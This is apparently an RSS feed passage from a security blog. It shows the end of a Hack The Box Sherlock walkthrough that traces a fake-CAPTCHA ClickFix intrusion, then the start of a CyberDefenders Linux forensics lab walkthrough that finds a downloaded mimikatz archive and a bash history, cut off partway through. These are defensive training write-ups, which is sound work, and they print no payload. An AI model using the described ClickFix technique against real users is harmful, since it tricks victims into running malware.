the correct directory in the &lt;em&gt;AssembledFiles&lt;/em&gt; by looking for the C2 IP address folder from the previous question and checking the folder for &lt;code&gt;TCP-80&lt;/code&gt; (HTTP), indicating web traffic.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a3a7ccf52cbe059269494031552d79fa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;868px&#34; data-flex-grow=&#34;361&#34; height=&#34;221&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/a3a7ccf52cbe059269494031552d79fa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the reassembled index.html page&lt;/p&gt;&#xA;&lt;p&gt;After locating the reassembled &lt;code&gt;index.html&lt;/code&gt;, open it with your default web browser. My analysis machine is using &lt;em&gt;Microsoft Edge&lt;/em&gt;, for example.&lt;/p&gt;&#xA;&lt;p&gt;Once open, press &lt;code&gt;F12&lt;/code&gt; to launch the browser’s DevTools and view the page source. Select the &lt;code&gt;index.html&lt;/code&gt; file in the &lt;em&gt;Page&lt;/em&gt; column, then navigate to the &lt;em&gt;Sources&lt;/em&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;Scroll down until we stumble on the function &lt;code&gt;stageClipboard&lt;/code&gt;. This is the function that contains the malicious PowerShell code which is automatically copied to the victim’s clipboard.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c6366fed54307a060f39466db53ba1c1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/c6366fed54307a060f39466db53ba1c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Microsoft Edge: Identifying the stageClipboard function in index.html&lt;/p&gt;&#xA;&lt;p&gt;Notice the familiar command? It’s the same PowerShell command we found in &lt;strong&gt;Question 1&lt;/strong&gt;. This means we’ve identified the source of the initial access and confirmed that our victim, Happy Grunwald, was compromised.&lt;/p&gt;&#xA;&lt;p&gt;Based on Happy’s account of solving a Captcha challenge, and the evidence we’ve located during this investigation, we can reasonably conclude that he fell victim to a &lt;strong&gt;fake CAPTCHA&lt;/strong&gt; leading to a &lt;strong&gt;ClickFix&lt;/strong&gt; attack.&lt;/p&gt;&#xA;&lt;p&gt;If you aren’t familiar, &lt;em&gt;ClickFix&lt;/em&gt; attacks typically involve a fake Captcha page that asks the user to “verify” themselves by instructing the victim to open the Windows Run dialog and paste a malicious PowerShell command that has been automatically copied to their clipboard. This technique is known as &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;User Execution: Malicious Copy and Paste (T1204.004)&lt;/em&gt;&lt;/a&gt; from &lt;strong&gt;MITRE ATT&amp;amp;CK.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you’d like more information about &lt;em&gt;ClickFix&lt;/em&gt; attacks, check out this excellent blog from &lt;strong&gt;Palo Alto Unit 42&lt;/strong&gt; linked below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/&#34;  title=&#34;https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Fix the Click: Preventing the ClickFix Attack Vector&lt;/strong&gt;&#xA;_ClickFix campaigns are on the rise. We highlight three that distributed NetSupport RAT, Latrodectus, and Lumma Stealer…_unit42.paloaltonetworks.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we’ve completed all our objectives and scoped out this attack, let’s submit our answer and wrap up the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b82c9c725bb29b5ea0700449b5597cce_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1116px&#34; data-flex-grow=&#34;465&#34; height=&#34;172&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/b82c9c725bb29b5ea0700449b5597cce_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;80a30afbcefc97867bb4f5f3ca7eb4f3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;311px&#34; data-flex-grow=&#34;129&#34; height=&#34;617&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/80a30afbcefc97867bb4f5f3ca7eb4f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! We’ve completed all our objectives and determined how the victim, Happy, was compromised. By analyzing the user’s &lt;code&gt;NTUSER.DAT&lt;/code&gt; artifact with &lt;em&gt;Registry Explorer&lt;/em&gt;, we identified a malicious command executed on the victim’s system. After that, we checked out their network traffic with &lt;em&gt;NetworkMiner&lt;/em&gt; to identify second-stage payloads, command and control infrastructure, and ultimately confirmed that the user fell victim to a fake &lt;em&gt;Captcha&lt;/em&gt; leading to a ClickFix attack.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Hack The Box&lt;/em&gt;&lt;/a&gt; for another high-quality and engaging Sherlock. These things are just awesome — each one presents a great hands-on opportunity to investigate realistic attacks. I chose this week’s challenge to learn more about the artifacts left behind from a &lt;em&gt;ClickFix&lt;/em&gt; attack. These types of attacks are becoming more and more common, so I wanted an opportunity to dig deeper into how they work and what impact they can have.&lt;/p&gt;&#xA;&lt;p&gt;While &lt;em&gt;Wireshark&lt;/em&gt; is a core tool in any cybersecurity toolkit, I wanted the opportunity to highlight a great use case for &lt;em&gt;NetworkMiner&lt;/em&gt; and its feature set. This challenge didn’t disappoint!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-pikaptcha-sherlock-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Pikaptcha&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Pikaptcha&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman’s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wireshark:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.wireshark.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NetworkMiner:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.netresec.com/?page=NetworkMiner&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de/behavior&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de/behavior&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Calculator.net:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.calculator.net/time-duration-calculator.html?starthour=05&amp;amp;startmin=07&amp;amp;startsec=48&amp;amp;startunit=p&amp;amp;endhour=05&amp;amp;endmin=14&amp;amp;endsec=31&amp;amp;endunit=p&amp;amp;ctype=1&amp;amp;x=Calculate&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.calculator.net/time-duration-calculator.html?starthour=05&amp;amp;startmin=07&amp;amp;startsec=48&amp;amp;startunit=a&amp;amp;endhour=05&amp;amp;endmin=15&amp;amp;endsec=31&amp;amp;endunit=p&amp;amp;ctype=1&amp;amp;x=Calculate&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — User Execution: Malicious Copy and Paste (T1204.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1204/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Palo Alto — Unit 42: Fix the Click: Preventing the ClickFix Attack Vector:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  —  Insider Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/</link>
            <pubDate>Sun, 27 Jul 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/e3adc37179a3be9cbff550a51e4d726e_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  —  Insider Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--insider-lab-walkthrough&#34;&gt;CyberDefenders — Insider Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-linux-dfir-challenge-using-ftk-imager-and-built-inlogs&#34;&gt;A Linux DFIR Challenge Using FTK Imager and Built-In Logs.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;406px&#34; data-flex-grow=&#34;169&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/e3adc37179a3be9cbff550a51e4d726e_MD5.png&#34; width=&#34;395&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/insider/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/insider/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/insider/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Insider Lab&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (&lt;em&gt;DFIR&lt;/em&gt;) on Linux and provides a solid foundational overview of some of the commonly used logs.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check out the scenario below:&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;After Karen started working for €˜TAAUSAI,&amp;rsquo; she began doing illegal activities inside the company. €˜TAAUSAI&amp;rsquo; hired you as a soc analyst to kick off an investigation on this case.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You acquired a disk image and found that Karen uses Linux OS on her machine. Analyze the disk image of Karen&amp;rsquo;s computer and answer the provided questions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;A case of a malicious insider? That&amp;rsquo;s not good! It&amp;rsquo;s up to us to search for evidence and uncover what actions Karen took. Fortunately, we are provided with a forensic disk image that we can use to determine exactly what happened.&lt;/p&gt;&#xA;&lt;p&gt;To perform this investigation, we&amp;rsquo;re going to leverage &lt;strong&gt;FTK Imager&lt;/strong&gt;, a popular forensics tool used to create and explore disk images of a system. Once inside, we&amp;rsquo;ll be hands-on and searching through the available artifacts manually to shed some light on what activities were perpetrated by Karen. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It&amp;rsquo;s always important when working with lab/challenge files from &lt;strong&gt;CyberDefenders&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For this challenge, I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt;, &amp;quot; # &amp;ldquo;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM)&amp;ldquo;since you can optionally install &lt;strong&gt;FTK Imager&lt;/strong&gt; during the install.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I&amp;rsquo;m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but &lt;em&gt;if&lt;/em&gt; you&amp;rsquo;d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that&amp;hellip;&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-which-linux-distribution-is-being-used-on-thismachine&#34;&gt;Question 1: Which Linux distribution is being used on this machine?&#xA;&lt;/h3&gt;&lt;p&gt;Once the challenge file is extracted, navigate to the &lt;code&gt;c46-FirstHack&lt;/code&gt; directory, which contains the &lt;code&gt;FirstHack.ad1&lt;/code&gt; file. The &lt;strong&gt;AD1 file&lt;/strong&gt; is a forensic disk image format created by &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FTK Imager&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;603px&#34; data-flex-grow=&#34;251&#34; height=&#34;318&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/c61d80b64b30c9c18445498f7a5e0162_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Challenge File contents&lt;/p&gt;&#xA;&lt;p&gt;To work through this challenge, we&amp;rsquo;re going to rely on analyzing artifacts within the disk image. Our first step is to open &lt;em&gt;FTK Imager&lt;/em&gt; within your analysis environment.&lt;/p&gt;&#xA;&lt;p&gt;Once the application is open, go to &lt;em&gt;File &amp;gt; Add Evidence Item &amp;gt; Image File&lt;/em&gt;, and point to the &lt;code&gt;FirstHack.ad1&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1177px&#34; data-flex-grow=&#34;490&#34; height=&#34;163&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/2ffc0ebe7229c1e94f795cb0a22a6135_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: FirstHack.ad1 loaded&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the image mounted, we can search for the answer to &lt;strong&gt;Question 1&lt;/strong&gt;. One log we can check to identify the Linux distribution used on the machine is the &lt;code&gt;kern.log&lt;/code&gt; located at &lt;code&gt;/var/log/kern.log&lt;/code&gt;. This log contains kernel-related logging data, including the OS version being loaded.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/01cbdf2f69824eadf93ee597b78cf9e5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Identifying the Linux version in the kern.log&lt;/p&gt;&#xA;&lt;p&gt;This log tells us that Karen is using &lt;strong&gt;Kali Linux&lt;/strong&gt;, a popular penetration testing distribution that you&amp;rsquo;re likely familiar with if you&amp;rsquo;re reading this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1026px&#34; data-flex-grow=&#34;427&#34; height=&#34;187&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/34d0fadc21f913fe0b86a477b4ab44f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-md5-hash-of-the-apacheaccesslogfile&#34;&gt;Question 2: What is the MD5 hash of the Apache &lt;strong&gt;access.log&lt;/strong&gt; file?&#xA;&lt;/h3&gt;&lt;p&gt;The next step on our investigation is to determine the MD5 hash of the system&amp;rsquo;s Apache &lt;code&gt;access.log&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll locate the &lt;code&gt;access.log&lt;/code&gt; within the &lt;code&gt;/var/log/apache2&lt;/code&gt; directory. Once we&amp;rsquo;ve found it, we can leverage &lt;em&gt;FTK Imager&amp;rsquo;s&lt;/em&gt; &lt;em&gt;Export File Hash List&lt;/em&gt; feature by right-clicking the &lt;code&gt;access.log&lt;/code&gt; entry. This will generate a CSV file containing the file hashes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;619px&#34; data-flex-grow=&#34;258&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/7aab9d11892ffc2ff94ab80fb15f36e3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Exporting the access.log file hash&lt;/p&gt;&#xA;&lt;p&gt;For example, I opened the CSV file in &lt;strong&gt;Visual Studio Code&lt;/strong&gt;, but any CSV viewer will work. Once you have it open, you&amp;rsquo;ll be able to collect both the MD5 and SHA1 file hashes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1010px&#34; data-flex-grow=&#34;421&#34; height=&#34;190&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/830d0a99babcbb3b553e8599f142e38e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Visual Studio Code: Reviewing the access.log file hash export&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;994px&#34; data-flex-grow=&#34;414&#34; height=&#34;193&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/cd00133b4c4fee5d3eca4519ebebc9d2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-it-is-suspected-that-a-credential-dumping-tool-was-downloaded-what-is-the-name-of-the-downloaded-file&#34;&gt;Question 3: It is suspected that a credential dumping tool was downloaded. What is the name of the downloaded file?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to determine what credential dumping tool the user downloaded. A good starting point is to check the user&amp;rsquo;s Downloads directory at &lt;code&gt;/root/Downloads&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;646px&#34; data-flex-grow=&#34;269&#34; height=&#34;297&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/853d380307a33b39bff5033879a2a112_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Surveying the Downloads directory&lt;/p&gt;&#xA;&lt;p&gt;Inside the directory, we&amp;rsquo;ll discover a file named &lt;code&gt;mimikatz_trunk.zip&lt;/code&gt;. Based on this filename, we can reasonably say that this archive contains the popular Windows credential dumping tool, &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mimikatz&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;860px&#34; data-flex-grow=&#34;358&#34; height=&#34;223&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/6096b064b9411b9022116673b76e0a9f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-a-super-secret-file-was-created-what-is-the-absolute-path-to-thisfile&#34;&gt;Question 4: A super-secret file was created. What is the absolute path to this file?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;ll need to dig a bit deeper to uncover a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;super-secret&amp;rdquo;&#xA;file created on the system.&lt;/p&gt;&#xA;&lt;p&gt;One extremely robust and common source of forensic artifacts on Linux is the &lt;code&gt;.bash_history&lt;/code&gt; file. This file stores the commands run within the shell or terminal, making it extremely valuable for providing clues about user behavior on the system. For our purposes, we can check this log by navigating to &lt;code&gt;/root/.bash_history&lt;/code&gt; and reviewing the output in the bottom pane.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/7e8867cf9eb507bc1b74c9f74c24777a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Checking the contents of .bash_history&lt;/p&gt;&#xA;&lt;p&gt;Among many other interesting commands, we can see toward the top of the log that the &lt;code&gt;touch&lt;/code&gt; command is used to create &lt;code&gt;SuperSecretFile.txt&lt;/code&gt; in the &lt;code&gt;/root/Desktop&lt;/code&gt; directory. Sneaky indeed!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; 